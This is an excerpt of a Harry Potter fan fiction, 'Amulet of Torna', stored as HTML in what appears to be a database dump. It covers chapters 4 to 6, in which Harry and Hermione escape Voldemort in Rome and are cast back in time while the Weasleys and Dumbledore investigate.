to him Hermione.&#8221; Harry spoke softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione started shaking, &#8220;He, he was going to hurt me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius stepped right up to her and grabbed her by the hair\ntilting her face upward. She tried to struggle out of his grasp but he had a\ngood hold on her hair. Harry tried to attack Lucius but he was held back by the\nDeath Eaters, it took four of them to hold him back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;Did he get any\ndelicious screams out of you?&nbsp; Ones that\nwere meant for me?&#8221; His eyes narrowed he heard her groan in agony as he watched\nher eyes shut tight. &#8220;Oh I bet he got lots of them.&#8221;&nbsp; He looked towards Carlo, &#8220;You stole something\nthat I enjoy, for that you will suffer.&#8221; It was a good thing that Lucius was\nstill preoccupied with hurting her and talking to Carlo that he didn&#8217;t notice\nHermione reach into his robe pocket and grab hers and Harry&#8217;s wand, she quickly\nhid them in her back pockets, since her shirt hung down almost covering her\nbottom, no one would know she was hiding the wands.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius let go of Hermione&#8217;s hair and she stepped back from\nhim.&nbsp; She was surprised that he let her\nback away and towards Harry.&nbsp; Lucius\nsnapped his fingers and three of the Death Eaters charged Carlo and pushed him\nup against the wall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">A few of the Death Eaters started hitting him the Muggle way\nwhile one of them used curses on him.&nbsp;\nOne punched him hard in the stomach three times, while another used the\nimperious curse and made Carlo punch himself in the face and charge into the\nwall and bang his head against the stones several times.&nbsp; Amelia stood there in horror, tears and her\nscreams echoed through the cell. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh please Hermione, Harry make them stop, whatever they are\ndoing just please.&#8221; Amelia begged. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius snapped his fingers and the Death Eaters stopped\ntheir assault on Carlo, he fell to the ground breathing hard and bloody.&nbsp; Amelia sank to her knees and glanced down at\nhim&nbsp; &#8220;What kind of people are you?&#8221;\nAmelia looked up at Lucius.&nbsp; He was\nglaring down at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh look at that filth looking up at me, you should be put\nin your place wench, I should have you&#8212;&#8220; Lucius was interrupted by Wormtail\ncoming into the cell.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Master wants the prisoners now,&#8221; Wormtail squeaked out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius took in a breath, &#8220;Fine.&nbsp; Let&#8217;s go.&#8221; He turned on his heels and the\nDeath Eaters escorted the prisoners to the thrown room, Carlo again had the\nimperious curse inflicted upon him so that they wouldn&#8217;t have to carry\nhim.&nbsp; Into the thrown room they went and\nVoldemort was feeding a rare bird, with purple feathers upon its wings and\nhead, its body was in the shape of a snake, but it had talons.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So have you decided what you will choose? Join with me or\nthere will be much pain inflicted upon all of you.&#8221; Voldemort threatened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry looked at Hermione, Carlo and Amelia. He didn&#8217;t want\nthem to get hurt.&nbsp; But he couldn&#8217;t join\nwith Voldemort that would mean the end of everything.&nbsp; He felt something being pressed into his\nhand.&nbsp; He glanced down at Hermione had\nhis wand.&nbsp; Voldemort was too busy paying\nattention to his bird that to notice Hermione holding a long piece of wood and\nhanding it to Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No, I will not join you.&nbsp;\nAnd neither will Hermione.&#8221; Harry glared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Voldemort wasted no time in lifting his wand and pointing it\nat Harry. &#8220;Then you shall die. Avada Kedavra!&#8221; Voldemort shouted. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry dodged the curse as it went flying at him, he then\ngrabbed onto Hermione&#8217;s hand tightly and pulled her.&nbsp; Amelia was busy shielding a still under\ncontrol Carlo from whatever was going on.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Voldemort shouted the curse again but Harry too dodged that\none, Harry and Hermione ran through the castle with Death Eaters on their\ntail.&nbsp; Harry opened the door a room and\npulled her inside.&nbsp; Harry leaned against\nthe door as he heard people next to it talking.&nbsp;\n&#8220;Kill Potter but leave the girl. Master&#8217;s orders.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well why should we even have to kill Potter, he&#8217;s better as\none of us.&nbsp; He&#8217;s even more powerful then\nthe dark lord.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That&#8217;s why he has to be killed soup for brains, he could\nkill Lord Voldemort. He almost did once and he was just a baby.&nbsp; Just kill him and think about it later\nokay.&nbsp; Kill first then ask questions, got\nit.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Got it.&#8221; The Death Eaters agreed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry sighed with relief, as the Death Eaters seemed to move\non.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Do you think we&#8217;re safe in here?&#8221; Hermione said standing\nover by a desk.&nbsp; &#8220;What about Amelia and\nCarlo?&nbsp; They are still out there with\nthem.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry walked over to Hermione, &#8220;We will get help.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;But what if they&#8217;re dead already?&#8221; Hermione couldn&#8217;t help\nthe tears from swelling in her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t think Voldemort would kill them just yet, he needs\nbait.&#8221; Harry said, he never liked it when Hermione cried, it always broke his\nheart.&nbsp; There was no time for comfort\nthough because the door was blasted away and pieces of wood went flying everywhere.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Voldemort&nbsp;walked forward with Death Eaters behind\nhim.&nbsp; &#8220;You can&#8217;t hide forever Potter, not\nfrom your fate.&nbsp; Luck has always seemed\nto be on your side, but not this time.&#8221; Voldemort opened extended his hand and\nopened it; inside it was a large red ruby.&nbsp;\n&#8220;This is a special curse Potter, it will kill you. Slowly but you will\ndie.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione grabbed onto Harry&#8217;s arm just as Voldemort threw\nthe ruby at Harry&#8217;s feet, a dark cloud enclosed the both of them, since she was\nholding onto Harry the cloud formed around her as well.&nbsp; A few moments the cloud faded and nothing was\nthere.&nbsp; Harry and Hermione were gone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">========</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Well that&#8217;s it for chapter 4, I hope you enjoyed it.&nbsp; Stay tuned for chapter 5&#8212;Under the Sun.&nbsp; Remember to review. Thanks Ryoko&nbsp; :-D and&nbsp;\nhere&#8217;s my yahoo group in case you are interested. http://groups.yahoo.com/group/Ryokos_Place/</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(43, 5, ' <p>Disclaimer: I don&#8217;t own original Harry Potter characters or situations, They belong to J.K Rowlings. If I owned them, I would be sitting in Hawaii right now sipping drinks with little umbrellas in them and having hot guys serving my every need. *sigh* Oh well.</p>\n\n<p>Amulet of Torna</p>\n\n<p>Chapter 5&#8212;Under The Sun</p>\n\n<p>Ginny was lying on her back glancing up at the sky, the sand was soft and warm underneath her.&nbsp; She had just gone swimming in the ocean a few moments ago, and was relaxing as the sun warmed the cool water from her body.&nbsp; Ginny was having a horrible summer, she missed Draco terribly.&nbsp; She didn&#8217;t like being dragged along with her family and her brother&#8217;s girlfriend&#8217;s parents to the Bahamas, and it wasn&#8217;t even the Wizarding part, but the muggle part.&nbsp; She wanted to go home.</p>\n\n<p>Someone ran up to Ginny and in the process kicked sand over her, it was her brother Ron and he was standing over her with a smile on his face.&nbsp; He sat down, once again throwing sand in his sister&#8217;s face.</p>\n\n<p>&#8220;Are you having a good time?&#8221; Ron asked.</p>\n\n<p>Ginny simply rolled her eyes, &#8220;Not really.&nbsp; I just want to be home and I&#8217;m stuck out here.&#8221;</p>\n\n<p>Ron shook his head, &#8220;You just want to be home so Malfoy can owl you and you can moon over him and wonder when you&#8217;re going to see him again.&nbsp; Disgusting really.&#8221;</p>\n\n<p>Ginny sat up glaring at her brother, &#8220;Do you want to know what&#8217;s disgusting?&nbsp; It&#8217;s watching you and Zara play kissy face all day, that&#8217;s disgusting.&#8221;</p>\n\n<p>&#8220;Ah you&#8217;re just jealous cause my girlfriend is here with me and your jerk of a boyfriend is elsewhere.&#8221;&nbsp; </p>\n\n<p>&#8220;Ron please don&#8217;t call Draco a jerk, I don&#8217;t call your girlfriend names.&#8221; Ginny said.</p>\n\n<p>&#8220;But you would like to, I know you Ginny. Why don&#8217;t you like Zara?&#8221; Ron said pushing his toes into the sand.</p>\n\n<p>&#8220;I don&#8217;t know Ron, I started to like her.&nbsp; But she can be so annoying and not to mention weird.&#8221; Ginny said shaking her head.</p>\n\n<p>&#8220;Oh as if Malfoy is any less annoying. Come on now.&nbsp; Malfoy is mean as hell. He&#8217;s always insulting Harry and Hermione, calling her&#8230;&#8221; Ron paused he didn&#8217;t like using the word. &#8220;You know Mudblood. He even threatens people&#8217;s lives.&nbsp; How can you like someone like that?&#8221;</p>\n\n<p>Ginny glanced down at her fingers, &#8220;I know he&#8217;s not perfect Ron, Draco loves me though.&nbsp; He is so considerate of me and kind when I am with him, he just doesn&#8217;t know how to be nice to you and your friends.&#8221;</p>\n\n<p>&#8220;I will never trust Malfoy Ginny, but I won&#8217;t say anything bad about him around you.&nbsp; I know you care about him and you are my sister.&nbsp; And if Malfoy makes you happy,&#8221; Ron sighed leaned back stretching his arms behind him. &#8220;I don&#8217;t approve, but I won&#8217;t stand in your way either.&#8221; </p>\n\n<p>&#8220;Thank you Ron.&#8221; Ginny said with a slight smile, &#8220;Where is your wonderful girlfriend anyway?&#8221; </p>\n\n<p>&#8220;She hasn&#8217;t risen yet, still sleeping when I knocked on her bungalow door a few moments ago.&#8221; Ron said and he glanced around, he noticed his father coming towards them, a grave expression on his father&#8217;s face.</p>\n\n<p>Ron immediately stood as his father stood before him.&nbsp; &#8220;What&#8217;s wrong?&#8221;</p>\n\n<p>&#8220;Get your sister and come with me, something has happened.&#8221; Mr. Weasley said and he started walking away from Ron.</p>\n\n<p>Ginny came up behind Ron and rested her hand on his shoulder, &#8220;What&#8217;s wrong with daddy?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know, but we better follow him.&#8221; Ron said to his sister, and they both headed in the same direction as their father.</p>\n\n<p>Mr. Weasley was pacing back and forth when his wife walked into the room, followed by his sons and daughter.&nbsp; Zara&#8217;s parents were standing by the window; they were already in the room before Mr. Weasley got in there.&nbsp; &#8220;Well perhaps your daughter should he here too.&#8221; Mr. Weasley said to Zara&#8217;s mother Crystal.</p>\n\n<p>&#8220;I&#8217;ll go get her.&#8221; Ginny offered and she headed out the door and towards Zara&#8217;s bungalow.</p>\n\n<p>Zara was humming to herself while slicing off a bit of her Orgus Root; she heard a loud knock on her door.&nbsp; Irritated, she set down her knife and went to the door. Upon opening it she found Ginny on the other side.&nbsp; &#8220;What?&#8221; Zara asked with a smile trying to hide her annoyance.</p>\n\n<p>&#8220;My father wanted me to fetch you, he has some news.&#8221; Ginny said trying not to glare up at Zara.</p>\n\n<p>&#8220;Can I come in a few minutes, I have to ta&#8212;&#8221; Zara was pointing back towards her table when Ginny just grabbed her hand.</p>\n\n<p>&nbsp;&#8220;Come on, you can finish what you were doing later.&#8221; The red head was impatient as she drug Zara out of the Bungalow and down towards the other one.</p>\n\n<p>Zara and Ginny walked inside the Bungalow, all eyes on them.&nbsp; Both girls sat down on the couch.</p>\n\n<p>&#8220;Now that we are all here.&#8221; Mr. Weasley started, &#8220;I&#8217;m afraid I have some terrible news.&nbsp; Death Eaters were spotted and arrested in Rome.&#8221;</p>\n\n<p>&#8220;Rome?&#8221; Ron questioned.&nbsp; Why did that sound familiar?&nbsp; Oh wait a minute Harry was going with Hermione to Rome.&nbsp; <i>&#8216;Oh no.&#8217; </i>&nbsp;He thought to himself. &#8220;Wh&#8212;what happened, why are you telling us this?&#8221; Ron felt a large lump lodge itself within his throat.</p>\n\n<p>&#8220;I have to go to Rome and do a little searching, Ministry&#8217;s orders.&#8221; Mr. Weasley glanced down for a moment, &#8220;They think something happened to your friends Ron.&#8221;</p>\n\n<p>Ron glared &#8220;Why does the ministry think something happened to my friends?&#8221; He sounded bitter.</p>\n\n<p>&#8220;They knew Harry and Hermione were going to Rome, where someone has been working on the inside giving us information about the possibility of Death Eater activity, and well the bugs that was placed on both Harry and Hermione were cut off.&nbsp; The bugs vanished.&#8221;</p>\n\n<p>He was mad, Ron stood.&nbsp; &#8220;You let the ministry treat Harry and Hermione as bait for Death Eaters?!&#8221;</p>\n\n<p>&#8220;I didn&#8217;t do anything of the sort son, please try to calm down.&#8221; Mr. Weasley.&nbsp; </p>\n\n<p>&#8220;Calm down?!&nbsp; How can I calm down?&nbsp; Harry and Hermione could be dead because of the Ministry&#8217;s idiotic actions.&#8221; </p>\n\n<p>&#8220;That&#8217;s why I have to go to Rome, to find out exactly what happened.&nbsp; They found an entire palace and training camp, that&#8217;s where they arrested about twenty five Death Eaters.&nbsp; The ministry is doing a complete investigation there; they found Hermione&#8217;s muggle cousin and friend.&#8221;</p>\n\n<p>&#8220;Well I want to go to.&#8221; Ron immediately said.</p>\n\n<p>&#8220;Son you really shouldn&#8217;t&#8212;&#8221; Mr. Weasley started to say but he was interrupted.</p>\n\n<p>&#8220;I&#8217;m just going to be waiting around to hear from you anyway, I mean what would it hurt if I waited with you in Rome?&#8221; Ron&#8217;s face was etched with worry.</p>\n\n<p>&#8220;All right son, you can go.&#8221; Mr. Weasley said replied.</p>\n\n<p>&#8220;I&#8217;m also going.&#8221; Ginny said firmly</p>\n\n<p>&#8220;Me too.&#8221; Zara spoke up.</p>\n\n<p>&#8220;Zara no, this sounds rather dangerous.&#8221; Crystal said in concern that her daughter would be putting her life on the line.</p>\n\n<p>&#8220;I&#8217;ll be fine Ma, the so called Death Eaters were arrested and their will be government officials around, I doubt there&#8217;s anything to worry about.&#8221;&nbsp; Zara turned to Mr. Weasley, &#8220;Please allow me to go as well?&#8221; </p>\n\n<p>Mr. Weasley looked at Zara and nodded, &#8220;All right.&nbsp; But no one else.&#8221; Mr. Weasley said sternly.</p>\n\n<p>&#8220;Arthur please be careful.&#8221; Mrs. Weasley said, her voice trimmed with worry.&nbsp; </p>\n\n<p>&#8220;I will luv, I will.&#8221; Mr. Weasley smiled.&nbsp; He knew it was still dangerous; anything involving dark magic users was dangerous.&nbsp; He turned to both Ron and Zara, &#8220;now lets get going we have to get to a Wizarding building and floo there.&#8221; He turned with Ron and Zara following after him.</p>\n\n<p>&#8220;You don&#8217;t have to come if you don&#8217;t want to Zara.&#8221; Ron said.</p>\n\n<p>Zara nodded &#8220;I know, but you shouldn&#8217;t be alone at a time like this.&#8221; She took his hand in hers as they followed after Ron&#8217;s father and Ginny towards the Wizarding part of The Bahamas.</p>\n\n<p>Mr. Weasley, Ginny, Ron and Zara arrived at the Death Eater&#8217;s Palace and Training camp in Rome.&nbsp; Death Eaters were tied and lined up in rows.&nbsp; There were ministry members searching high and low using the best Wizarding devices to sweep the place clean.</p>\n\n<p>&#8220;Don&#8217;t get into trouble.&#8221; Mr. Weasley said as he was waved over by another ministry member in his department.</p>\n\n<p>Ron saw his father talking to a dark haired woman he could her voice which was shaking with nervousness and cracked in several places for she had been crying.&nbsp; &#8220;I have never seen anything like that in my life, I mean they were using these sticks and light was coming out of them.&nbsp; They did horrible things to Carlo; I don&#8217;t know drugged him or something.&#8221; </p>\n\n<p>Mr. Weasley looked over at Carlo who was sitting up against the wall. &#8220;Oh it&#8217;s you again is it?&#8221; His eyes narrowed.</p>\n\n<p>&#8220;Sir?&#8221; Carlo asked confused, one of his eyes was shut from being swollen and puffy.</p>\n\n<p>Ron, Zara and Ginny walked over to Mr. Weasley, and got a good look at the girl.&nbsp; </p>\n\n<p>&#8220;What happened to Hermione? Where is she?&#8221;</p>\n\n<p>&#8220;That&#8217;s what we are trying to find out.&#8221; Mr. Weasley said as he listened to someone who was leaning closer to his ear.</p>\n\n<p>&#8220;No we aren&#8217;t doing the memory charm yet, we need to know from them what happened, they may be our only source of information.&#8221; Mr. Weasley said.&nbsp; &#8220;Wait until after the questioning.&#8221;</p>\n\n<p>Ron looked down at the girl, &#8220;You know Hermione?&#8221;</p>\n\n<p>The girl looked up at him, &#8220;Yes, she&#8217;s my cousin.&nbsp; Could you please tell me what happened to her?&#8221;&nbsp; </p>\n\n<p>Ron kneeled down, &#8220;Who are you?&#8221;</p>\n\n<p>&#8220;Amelia, her cousin.&#8221; She sniffled, and wiped her tears away from her bruised cheeks. &#8220;I have never been so scared in my life.&nbsp; No one will tell me anything, where&#8217;s Hermione and her boyfriend, where am I, what is going on?&nbsp; And who was that man who tried to hurt them.&#8221;</p>\n\n<p>&#8220;Which man?&#8221; Ron asked.</p>\n\n<p>&#8220;Actually there were two, but the one I remember the most.&nbsp; He was so horrible looking.&nbsp; Glowing red eyes. A snake like voice, not that I understood what he was saying but just the way he was talking.&#8221;&nbsp; Amelia looked up at Ron.&nbsp; </p>\n\n<p>Ron looked up at Zara, &#8220;You mean, Vol&#8230;Vol&#8230;&#8221; Ron took a breath, &#8220;Voldemort.&#8221; He said shuddering a bit.</p>\n\n<p>Zara saw Ginny roll her eyes, well of course she wouldn&#8217;t fear the Voldemort her boyfriend was probably already a Death Eater in training.</p>\n\n<p>&#8220;You&#8212;Know&#8212;Who?&#8221; Mr. Weasley asked Amelia after overhearing his son.</p>\n\n<p>Amelia nodded, &#8220;Well whoever he was.&#8221;</p>\n\n<p>&#8220;You&#8212;Know&#8212;Who?&#8221; A voice said from behind them, causing Mr. Weasley to turn around.&nbsp; He was face to face with Minister Fudge.&nbsp; &#8220;What are you doing here sir, don&#8217;t you have more important things to do then waste your time on an investigation like this?&#8221; Mr. Weasley was sarcastic.</p>\n\n<p>&#8220;I must set a good example.&#8221; Fudge replied.</p>\n\n<p>&#8220;You just want to impress the voters.&#8221; Ron said, he saw Fudge turn and glare at him.</p>\n\n<p>&#8220;So what&#8217;s this I hear about You&#8212;Know&#8212;Who?&#8221; Fudge asked glaring at the young Weasley.</p>\n\n<p>&#8220;This girl claims he was here.&#8221; Mr. Weasley said.</p>\n\n<p>&#8220;What rubbish, You&#8212;Know&#8212;Who is dead.&#8221; Fudge spat.&nbsp; &#8220;What does a Muggle know anyway?&#8221;</p>\n\n<p>&#8220;I think we should listen to her.&#8221; Mr. Weasley said.</p>\n\n<p>&#8220;Well of course you would say that Arthur, you have an affinity for muggle things.&#8221; Fudge said.&nbsp; &#8220;The Dark Lord is not back, when will you get it through your thick skulls, don&#8217;t take this muggle&#8217;s word for it, she doesn&#8217;t know what she&#8217;s talking about.&#8221;</p>\n\n<p>&#8220;Oh put a cork in it Fudge.&#8221; A feminine voice came from behind them.</p>\n\n<p>They all turned around, to see an older woman heading their way.&nbsp; And she walked right up to Fudge.</p>\n\n<p>&#8220;What are you doing here Mavis?&#8221; Fudge snarled.</p>\n\n<p>&#8220;This is my department Corny.&#8221; Mavis said glaring at Fudge while making fun of his name.</p>\n\n<p>Amelia did a double take, &#8220;Gramma Mavis?&#8221;</p>\n\n<p>Mavis looked at Amelia, &#8220;Oh dear.&#8221; </p>\n\n<p>Ron looked at his father, &#8220;Did you find out what happened to Harry and Hermione yet?&#8221; </p>\n\n<p>Mavis glanced at the floor and Mr. Weasley noticed, &#8220;Don&#8217;t let your feelings get in the way Mavis; we have to finish the investigation.&#8221;</p>\n\n<p>&#8220;I know that Arthur, I&#8217;ve been here the whole time.&#8221; Mavis said looking up at Arthur.</p>\n\n<p>&nbsp;&#8220;Gramma Mavis, please tell me what is going on.&#8221; Amelia begged.</p>\n\n<p>Mavis kneeled looking Amelia, &#8220;All right.&#8221; She knew that when the investigation was over the memory charms would be used, it wouldn&#8217;t hurt anything if she told Amelia what was going on.&nbsp; &#8220;Hermione isn&#8217;t an ordinary girl, she is a witch, and her boyfriend isn&#8217;t an ordinary boy.&#8221; She sighed. &#8220;He is a wizard, the Dark Lord whom you&#8217;ve met.&#8221; She glared up at Fudge, &#8220;I do believe her by the way Corny.&#8221;</p>\n\n<p>&#8220;Why would you believe a muggle?&#8221;</p>\n\n<p>&#8220;For one, she has never been known to lie.&nbsp; And she doesn&#8217;t live in our world, which makes her story very believable.&nbsp; Also Harry Potter said on many occasions and to you personally that the Dark Lord is back, in fact why haven&#8217;t you arrested Lucius Malfoy?&#8221;</p>\n\n<p>&#8220;We checked him out, he&#8217;s clean.&#8221;</p>\n\n<p>&#8220;How can he be clean when Potter also said he saw him with the Dark Lord?&#8221; Mavis argued.</p>\n\n<p>&#8220;You keep quiet Granger you don&#8217;t know anything; The Dark Lord is not back. I don&#8217;t care what kids or muggles say.&#8221; With that Fudge stormed off.</p>\n\n<p>&#8220;Mavis, what did you find out about the disappearance of your granddaughter and Harry Potter?&#8221; Mr. Weasley asked.</p>\n\n<p>&#8220;Only that powerful magic was used.&#8221; She took out the red ruby.&nbsp; I contacted Albus Dumbledore he should be here very soon.&nbsp; He will be able to tell us how this was used.&#8221; Mavis set the ruby down on the ground.</p>\n\n<p>&#8220;How do you know this was used?&#8221; Mr. Weasley picked up the ruby and looked at it curiously.</p>\n\n<p>&#8220;We went through the room where it was laid, and we found magic residue of Hermione and Harry, they vanished.&nbsp; We don&#8217;t know if they are dead or alive.&#8221;</p>\n\n<p>&#8220;This is all your fault.&#8221; Ron pointed a finger at Mavis.</p>\n\n<p>&#8220;What is?&#8221; Mavis was confused.</p>\n\n<p>&#8220;Ron you can&#8217;t blame her, you don&#8217;t have any proof.&#8221; Zara said.</p>\n\n<p>&#8220;I don&#8217;t need proof.&#8221; Ron said, &#8220;Anything the ministry is involved in tends to get twisted up.&#8221; He snarled.</p>\n\n<p>&#8220;You have a right to be mad.&#8221; Mavis said.</p>\n\n<p>&#8220;I&#8217;m not just mad, I&#8217;m worried out of my mind.&nbsp; If you ministry clowns weren&#8217;t so bent on catching Death Eaters and using any means necessary then Harry and Hermione would still be here.&#8221;</p>\n\n<p>&#8220;That&#8217;s not true.&#8221; Mavis said. &#8220;I did this for their own safety, I know of Death Eater activity in Rome.&nbsp; I wanted to keep them safe, not endanger them.&#8221;</p>\n\n<p>&#8220;Oh by planting bugs on them, we know who exactly is after Harry.&nbsp; And you knew there were Death Eaters here and you still let Harry and Hermione come to Rome.&nbsp; You had other needs and you knew Harry would be put in the middle.&#8221;&nbsp; Ron&#8217;s glare was harsh.</p>\n\n<p>&#8220;That was not my intention, if I hadn&#8217;t planted the bugs I would not have been able to keep track of them, they would have been in worse danger.&#8221;&nbsp; Mavis said, she understood of the anger Ron was feeling.</p>\n\n<p>&#8220;How wonderful your bugs are working now aren&#8217;t they.&#8221; Ron was sarcastic.</p>\n\n<p>&#8220;Mr. Weasley, try to calm down.&#8221; The soothing voice of Albus Dumbledore echoed in Ron&#8217;s ears.&nbsp; &#8220;Panicking is not going to help Mr. Potter or Miss Granger.&#8221;&nbsp; </p>\n\n<p>Ron turned to find Professor Dumbledore standing next to him; it seemed he appeared out of no where.&nbsp; &#8220;Sir I&#8212;&#8221; Ron couldn&#8217;t continue.</p>\n\n<p>&#8220;Yes we are all worried Mr. Weasley.&#8221; Dumbledore said.</p>\n\n<p>Amelia saw the white haired wizard, &#8220;Okay, if I pinch myself I&#8217;ll wake up any minute right?&#8221;</p>\n\n<p>&#8220;It&#8217;s not a dream.&#8221; Ron said, &#8220;This is all very real.&#8221; </p>\n\n<p>&#8220;Who are you?&#8221; </p>\n\n<p>&#8220;Ron.&#8221; He said plainly</p>\n\n<p>&#8220;Well at least I got an answer out of someone.&#8221; Amelia said.</p>\n\n<p>&#8220;Why don&#8217;t I talk with the girl?&#8221; A man next to Dumbledore asked.</p>\n\n<p>&#8220;Yes Nilrem, you do that.&#8221; Dumbledore said with a smile and a wink.</p>\n\n<p>Nilrem went up to Amelia, &#8220;Why don&#8217;t you come with me dear, I&#8217;ll explain all I can to you.&#8221; He helped Amelia up off the ground and escorted her to a secluded part of the palace gardens so they could have some privacy.</p>\n\n<p>A few hours later, Ron was lying on a leather couch down the stairs in the palace with his head in Zara&#8217;s lap; her fingers were running through his hair trying to sooth his troubled mind.&nbsp; Ron was trying to take a nap but he couldn&#8217;t sleep. His mind was filled with worry.&nbsp; The silence was broken as Ron cleared his throat. </p>\n\n<p>&#8220;Do you think they are all right?&#8221; Ron asked barely above a whisper.</p>\n\n<p>Zara sighed, &#8220;I wish I could tell you what you want to hear, but I honestly don&#8217;t know.&#8221; She continued threading her fingers through his hair.&nbsp; &#8220;I too hope they are all right.&#8221; </p>\n\n<p>&#8220;This is all the Ministry&#8217;s fault, everything.&#8221; Ron mumbled.</p>\n\n<p>&#8220;Yeah, the government always screws everything up.&#8221; Zara noticed he was finally drifting off to sleep.</p>\n\n<p>Ron was on the verge of sleep when someone came barreling down the stairs shouting, they are not dead, they are not dead. Ron jumped up immediately. &#8220;Who&#8217;s not dead?&#8221; Ron asked in a panic.</p>\n\n<p>&#8220;Mr. Potter and Miss Granger, they are not dead.&#8221; A pudgy man kept saying excitedly as he hunched over trying to catch his breath.</p>\n\n<p>&#8220;Well what happened to them?&#8221; Ron nearly shouted.</p>\n\n<p>&#8220;They were merely transported through time.&#8221; A voice from atop the staircase said.</p>\n\n<p>Ron and Zara looked up to find Dumbledore standing there.</p>\n\n<p>&#8220;Mr. Potter and Miss Granger have been transported back in time; Nilrem is devising a way for us to speak to them, if only for a moment.&#8221;</p>\n\n<p>&#8220;I think I got it,&#8221; Nilrem shouted bringing a large crystal ball down the stairs &#8220;Gather round.&#8221; Nilrem said as Ron and Dumbledore, along with members of the ministry gazed into the very large crystal ball.</p>\n\n<p>======</p>\n\n<p>Well that&#8217;s it for chapter 5; I know it&#8217;s a bit short.&nbsp; I hope it was alright. Well let me know what you think.&nbsp; Read and review, thanks Ryoko.</p> '),
	(43, 6, ' <p>Disclaimer:&nbsp; I don&#8217;t own original Harry Potter characters or situations, they belong to J.K Rowling. If I owned them, I would be sitting in <st1:state><st1:place>Hawaii</st1:place></st1:state> right now sipping drinks with little umbrellas in them and having hot guys serving my every need. *sigh* Oh well.</p>\n\n<p>A/N: Sorry for the long delay people, but I had a really bad case of writers block, but now it&#8217;s gone.&nbsp; Yay!! So here&#8217;s the next chapter happy reading ^_^</p>\n\n<p>Amulet of Torna</p>\n\n<p>Chapter 6&#8212;What Time Is It?</p>\n\n<p>After the smoke cleared Harry and Hermione found themselves surrounded by furniture that wasn&#8217;t there a moment ago.&nbsp; Sunlight poured in from the partial stained glass window to left of them, to the right was a portrait of a man in a toga of crimson lined with gold.&nbsp; The man in the portrait was staring back at you in a most intimidating fashion. A large crystal ball stood in the center of the room, the sunlight reflecting off it creating rainbow like colors all along the walls.&nbsp; Bookshelves lined the wall behind them; the scent from the leather bound covers filled the room.</p>\n\n<p>Hermione was clutching Harry&#8217;s arm tightly, her fingernails were digging into his skin.&nbsp; &#8220;What happened Harry, are we dead?&#8221;</p>\n\n<p>&#8220;If we were dead I doubt I would be feeling the pain of your fingernails digging into me.&#8221;&nbsp; Harry winced.</p>\n\n<p>&#8220;Oh sorry,&#8221; She immediately dropped his arm. &#8220;I&#8217;m just a little scared.&nbsp; You&#8212;Know&#8212;Who said something about a curse, and a slow working one at that.&#8221;&nbsp; Hermione took a breath, &#8220;What do you think he meant?&#8221;</p>\n\n<p>Harry shook his head &#8220;I&#8217;m not sure.&nbsp; Although, I don&#8217;t remember this portrait or all of this furniture.&#8221;&nbsp; He said looking around; something was rather off about this room.&nbsp; Perhaps he was just wasn&#8217;t remembering correctly, after all they only popped into that room a few moments ago trying to hide from Voldemort.&nbsp; Harry looked at the portrait closer and 